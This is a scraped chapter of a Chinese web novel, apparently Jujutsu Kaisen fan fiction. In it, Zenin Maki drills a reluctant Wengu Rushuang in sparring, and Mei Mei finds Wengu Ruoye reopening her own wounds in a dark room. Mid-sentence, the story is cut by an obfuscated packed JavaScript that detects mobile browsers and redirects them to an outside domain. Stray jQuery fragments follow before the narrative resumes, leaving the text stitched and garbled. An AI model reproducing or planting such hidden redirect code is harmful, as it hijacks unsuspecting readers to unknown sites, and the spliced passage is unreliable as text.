默认冷灰
24号文字
方正启体

17. 被老婆逼着练体术的可怜霜

作者:若爷不攻本书字数:K更新时间:
    这一晚,禅院真希在温孤如霜的房间里待了很久,本来她不放心温孤如霜今晚一个人待着,本想陪她一晚却被人家赶了出来。


    在被推出房门外时,她听到温孤如霜细弱蚊蝇的呢喃。


    “太快了...不可以...”


    禅院真希:???


    什么太快了?


    她怎么没听懂温孤如霜的意思??


    回到自己房间,禅院真希百思不得其解。


    而此时正在自己房间内的温孤如霜正捂着心口,轻声喘息着。


    脸上的疼痛并没有任何愈合的迹象,微微发红又带着灼烧的刺痛感。


    原来诅咒也不是什么伤都会治愈。


    大概是因为脸上的红肿不会致命,所以才没有触发不死诅咒的效果。


    不过这样也好...


    温孤如霜的另一只手上紧紧握着一瓶药。


    是刚刚禅院真希离开的时候给她用来消肿的药。


    她视若珍宝般握在手中,久久没舍得松开。


    第二天清晨,不到七点,温孤如霜的房门就被敲响。


    她停止打坐,迅速下床,脚速飞快的来到门前,将门锁打开。


    映入眼帘的正是几个小时未见的禅院真希,温孤如霜从前完全不知几个小时竟如此漫长。


    而思念一个人内心又是如此的煎熬。


    喜悦的神色尚未流露于表,温孤如霜便看见了禅院真希肩上正扛着两把木制长棍,微扬的嘴角瞬间凝固。


    她的心中顿时涌现一种不祥的预感。


    温孤如霜稳了稳心神,轻声问道:“你...这是...要做什么?”


    “对练啊,还能是什么。”禅院真希觉得温孤如霜的话问的很莫名其妙。


    这一大清早,若不是为了训练,谁会起这么早啊。


    原本的喜悦彻底崩碎,温孤如霜的心拔凉拔凉的。


    她一点都不喜欢体术,更讨厌大汗淋漓的感觉。


    非常讨厌!


    最终,架不住禅院真希的坚持,温孤如霜被她半拉半拽的带到了操场上,禅院真希牵着她的手往前走,浑然没有看到身后的人全身细胞都在抗拒。


    来到操场时,狗卷棘和胖达早就热身完成,在看到禅院真希拉着温孤如霜一道来时,他们心中立即大感不妙。


    坏了,又要开始秀了!


    已经被修复好的胖达对两人已经有了心理阴影。


    它忘不掉禅院真希昨晚把它丢回地上的那一幕,更忘不掉温孤如霜彻头彻尾无视它。


    这一幕幕,深深刻进了它的心里,给它带来了不可磨灭的伤害。


    实在的太过分了...


    胖达这么可爱,一个两个都这么欺负它。


    实在的太过分了!!


    胖达觉得不理会两人,等着人来哄它。


    等了好一会,它都没有等到禅院真希来找它主动说话,等它的目光看过去时,便见禅院真希正在和温孤如霜对练。


    咒具行家的禅院真希明显放了温孤如霜好几条河,只因后者的体术真的很差劲,属于那种一眼外行,章法凌乱,且惨不忍睹的那种。


    和禅院真希对打不到半分钟,温孤如霜直接将手中的木制棍往地上一扔,人也直接往地上一坐,无赖般的赖在地上不起来。


    禅院真希不得不收棍,手腕一挑,长棍玩了个漂亮的棍花后,被她背负在身后,一套动作行云流水,又飒又美。


    要是能把眼镜摘了就更好了...


    温孤如霜发自内心暗想。


    飘出的思绪还未完全飘远,她的脑袋就挨了轻轻一棍,不疼但响声很大。


    “起来,继续。”


    禅院真希一向不喜欢在对练的时候放水,但从她挥动木棍攻向温孤如霜时,被她那“惊世骇俗”的体术狠狠惊到,立即收了八成力,过家家似的跟温孤如霜继续打。


    她都还没嫌这对练没劲呢,温孤如霜倒是先耍起无赖了。


    “不要。”温孤如霜坐在地上,说什么都不愿起来。


    明明跑步的时候一点感觉都没有,可一旦对打起来,她的背后就开始不断冒汗。


    她很讨厌汗水浸湿衣服又黏在皮肤上的感觉。


    弱者才需要做这些流汗的努力。


    她完全不需要。


    禅院真希好看的眉毛微微抽搐,就在她伸手想要将温孤如霜硬拽起来时,温孤如霜却迅速用水银给自己层层包裹住。


    看着面前的水银龟壳,禅院真希气笑了,她用力敲了敲水银龟壳,沉声问:“你这是打算做一辈子的缩头乌龟?”


    “我不想练体术,一点也不适合我。”温孤如霜瓮声瓮气的从龟壳中传出,第一次表达了她强烈的抗拒。


    “咒术师的战斗一直都是体术为主,术式为辅,即便是悟那个笨蛋,有那么厉害的术式,体术也没有因此疏忽。”禅院真希试图说服温孤如霜。


    而躲在龟壳中的温故如霜也试图想要说服她。


    “我不是咒术师,我是元素师,我只要将家族世代相传的元素秘法掌握好,就能打败你们99%的咒术师。”


    禅院真希叉腰,来了一记绝杀:“那为什么只是99%而不是100%?”


    “因为...”


    “因为笨蛋悟的体术比你强的多。”禅院真希替她回答了这个问题。


    “不对!”


    温孤如霜从龟壳中探出脑袋,抬头看着禅院真希,语气略微不满:“是因为我比他要小很多很多,我要是和他一样大...”


    “那笨蛋悟也会全方面发展,不让自己有任何弱点。”


    轻轻敲了一下温孤如霜的脑袋,禅院真希的另一只手又掐住她的下巴,不给她再缩回去的机会。


    “你这是谬论,每个人擅长的都不一样,我不会体术也能立于不败之地,体术再厉害的人都不可能靠近我。”


    温孤如霜比谁都清楚自己的短板在那,但能掌控四大元素之力,并且全部质变成全新的能力。


    相当于有八种不同的力量的她,为何还要像弱者那样磨炼自己的身体。


    她无法理解。


    她可是天才啊。


    几乎是瞬间读懂了温孤如霜的眼神,禅院真希掐她下巴的力道重了几分。


    “天才如霜,你那么厉害,怎么还会被猝不及防的扇了一巴掌?”禅院真希的语气有些危险:“莫不是你故意给她打的?”


    温孤如霜瞬间心虚。


    当时她确实是防不胜防,压根就没注意到来的人竟是温孤箬叶。


    若知道是温孤箬叶,那一巴掌她一定...


    躲不过。


    想到这,温孤如霜越来越心虚,偏偏禅院真希得理不饶人。


    “这么好看的一张脸,跟着你简直是遭罪!”


    哪怕已经过了一夜,温孤如霜的脸也没什么好转,反而从红转青变成了青肿,看着好像更严重了。


    禅院真希分明是心疼了,却偏要嘴硬:“为什么诅咒不能把红肿治好?”


    越看越叫人心疼。


    她恨不得替温孤如霜狠狠扇回去,叫那可恶的女人以后再不敢扇人!


    “没关系的,擦些药过几天就好了。”


    温孤如霜很喜欢被禅院真希关心,尤其是在看到禅院真希眼中明晃晃的心疼,嘴上却满满都是嫌弃的样子,她越看越觉得欢喜。


    被人在意的感觉很美好,她想多体验一会。


    只可惜,温孤如霜高兴不过三秒,禅院真希就剥夺了她的笑容。


    “继续训练,练到你能下意识抬手挡巴掌为止!”


    温孤如霜一脸苦哈哈,被禅院真希强硬的拽了起来,心不甘情不愿的拿起木棍,艰难抵挡着禅院真希轻如羽毛的攻势。


    目睹全程的胖达和狗卷棘:......


    糟心的一天,从一大清早被强喂狗粮开始。


    每每看到两人在秀,胖达一边吃着狗粮,一边在心里为乙骨忧太感到可惜。


    ... ...


    而另一边,温孤箬叶一夜未睡,站在阳台上,吹了一夜的风。


    脑子多少是吹清醒了一些。


    于是,她更想杀温孤如霜了。


    早上的城市没了黑夜的寂静,车子鸣笛的声音,人与人交谈的声音,数不尽的喧嚣清晰的传进了温孤箬叶的耳中。


    对温孤箬叶而言,这里的一切都令她烦躁不已。


    温孤一族与世隔绝,避世在山谷之中。


    每天醒来,耳边是潺潺流水声,鼻间是沁人心脾的青草芬芳,空气是那么的新鲜,周围是那么的宁静。


    两两相比,这座满是人的城市真是糟透了。


    污浊的空气,车水马龙的噪音,人与人之间嬉笑打闹的声音。


    哪怕是紧闭窗户,都无法彻底隔绝这些令她烦躁的噪音。


    一到白天她的精神就濒临崩溃,到了晚上,紧绷的精神才会松懈一些。


    想到自己所受的苦,遭的罪都是因为该死的温孤如霜,她对她的恨就更深几分。


    心中的不适到达了顶峰,温孤箬叶终于忍不下去了,她关上阳台的门,把窗户关紧,又将窗帘拉严实。


    房间里没有一丝光亮,外面的声音变得轻微模糊时,她这才松了一口气。


    可还是能听见声音,隔绝的还是不够彻底。


    这座聒噪的城市!


    一想到她最痛恨的人也在这座城市,她恨屋及乌的将整个城市一并恨上。


    温孤箬叶缩在墙角,自虐般的将手上已经开始结痂的伤口扣开,不知疼痛,一遍又一遍的重复。


    而楼下的悠悠已经准备好了早餐,正等着外出晨跑的姐姐回来,他正满心期待与姐姐共进早餐时,他心心念念的姐姐已经晨跑结束。


    进入家门,冥冥依旧随意甩鞋,悠悠屁颠屁颠过来替她把鞋摆放好。


    “她呢?”冥冥用挂在脖子上的毛巾擦了擦脸上的汗后,这才想起家里还有一个人。


    “不知道,多半是没起来吧。”


    悠悠对温孤箬叶不甚关心,到底只是一个暂住的,他没必要花费太多的精力和心思。


    除了姐姐,没有人值得他如此耗费心神,还甘之如饴。


    冥冥看了一眼楼上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396399|184290||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的方向,将毛巾随手扔在了桌上,“我上去看看。”


    正在摆放碗筷的悠悠动作一顿,在冥冥即将上楼时,他突然叫住了她。


    “姐姐。”


    刚踏上第一节台阶的冥冥停下来,偏头看向了欲言又止的悠悠。


    “有什么事就直说,别憋在心里。”


    悠悠握紧了手中的碗筷,极力控制着情绪,他小心问道:“姐姐,她真的只是暂住吗?”


    生怕姐姐会出声打断,他立即将想说的话全部说了出来。


    “姐姐,我昨晚...看到你给她上药了...我知道你对她的咒术很感兴趣,可有必要做到亲力亲为的程度吗?”悠悠并没有看见冥冥脸上露出任何不对的情绪,继续说:“姐姐,你从来没有对任何人如此上心过,我担心你...”


    “担心我什么?”


    终于,冥冥开口了。


    她看着悠悠,脸上没有流露出任何不悦的表情,她嘴角噙着淡淡的笑,十分耐心的又问了一遍:“所以,你担心我什么呢?”


    “我是担心...”悠悠攥紧拳头,又深吸了一口气,一鼓作气说道:“姐姐变得不再像自己了。”


    “变得不再像自己?”冥冥忍不住低低笑出了声,像是被自家弟弟新奇的脑洞给逗笑了。


    “我只会是我自己,不会为了任何人改变。”


    她没有向悠悠做过多的解释,那不符合她的性子。


    即便是在亲弟弟面前,她也不会告诉他自己的想法。


    刚要继续上楼,她像是想到什么,又对悠悠问道:“可以帮我把医药箱拿一下吗?”


    她总有一种温孤箬叶不会乖乖等待伤口自己愈合感觉。


    毕竟,那姑娘可是扇了人一巴掌后,又把自己手砸的鲜血淋漓的“狠人”。


    看着就不像是听话的主。


    悠悠还想说些什么,可在看到冥冥的笑容时,立即将到嘴的话咽了下去,他连忙拿来医药箱,递给了冥冥。


    “谢谢。”


    道了一声谢,冥冥提着医药箱上楼,悠悠紧紧锁定她的身影,直到彻底看不见后,这才低声呢喃:“姐姐...你真的还能做自己吗...”


    来到温孤箬叶的房门前,冥冥敲了敲门,房间内传来温孤箬叶冷漠的声音。


    “什么事?”


    冥冥站在门口说:“既然醒了就下来吃早餐。”


    “你们吃,我不饿。”


    她的态度很明确,拒绝与冥冥沟通。


    这小姑娘还真是善变,明明昨晚的态度已经软化了不少,一早上醒来,又回到了原点。


    难道她是白天一个样晚上一个样?


    冥冥觉得自己或许是上了年纪,和十八岁的小姑娘已然有了代沟,她完全跟不上小姑娘的想法。


    现在的十八岁小姑娘都这么善变?


    还是异乡人的十八岁小姑娘都这么善变?


    她看都未必。


    善变的只是温孤箬叶。


    里面的善变的小姑娘不愿开门,冥冥也没打算强求,但在转身离开时,指尖不小心碰到了门把手,却意外的没有感觉到锁的阻碍,她尝试完全按下门把手,门开了一条缝。


    一条完全看不到一点光亮的缝。


    冥冥顾不上礼貌,推开门直径走了进去。


    她没有开灯也没有拉开窗帘,顺着门外照进来的微光找到了温孤箬叶所在的地方。


    小姑娘坐在墙角,抱着自己的身体,锁成小小一团,像是一只身处在陌生环境,对周遭的一切都感到害怕,却又不得不时刻保持警惕的小野猫。


    冥冥缓缓上前一步,温孤箬叶立即动了动身体,想要往后退,却发现无处可逃,立刻出声喊道:“别过来!”


    她突然的大喊并没有让冥冥停下脚步,冥冥走到她面前,蹲下身子,将她那只再次鲜血淋漓的手轻扯到自己眼前。


    看着不断冒血的伤口,冥冥发出一声轻笑:“看来昨晚是白给你上药了。”


    “不用你多管...嗯哼!”


    温孤箬叶的话还未说完,下一秒,她就说不出来话了。


    她受伤的那只手伤口处被冥冥紧紧握住,痛的她直蹙眉。


    除了刚刚那一声,她再没发出一丝声音。


    “怎么不说话了?”冥冥凑到温孤箬叶的耳边,轻声细语的问:“是不爱说话吗?”


    倔驴温孤箬叶很想再怼她,冥冥又用了一成的劲,这下她是彻底说不出话,全身心都用来对抗强烈的痛感。


    冥冥没什么施虐的兴趣,只是看到温孤箬叶将自己昨晚辛苦上好药的地方又弄成这样,她心里有些不悦,偏温孤箬叶说话还那么冲。


    一时冲动,没有完全克制住。


    就在她松开手上的力道时,一滴滚烫的液体砸在了她的手上,灼热的温度烫的手背发麻。


    紧接着,一滴又一滴的液体掉落而下。


    冥冥抬头,便看见温孤箬叶用另一只手捂住双眼,正在无声的哭泣。


    “一点也不好...”


    “所有的一切都糟透了...”


    “我好想回家...”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)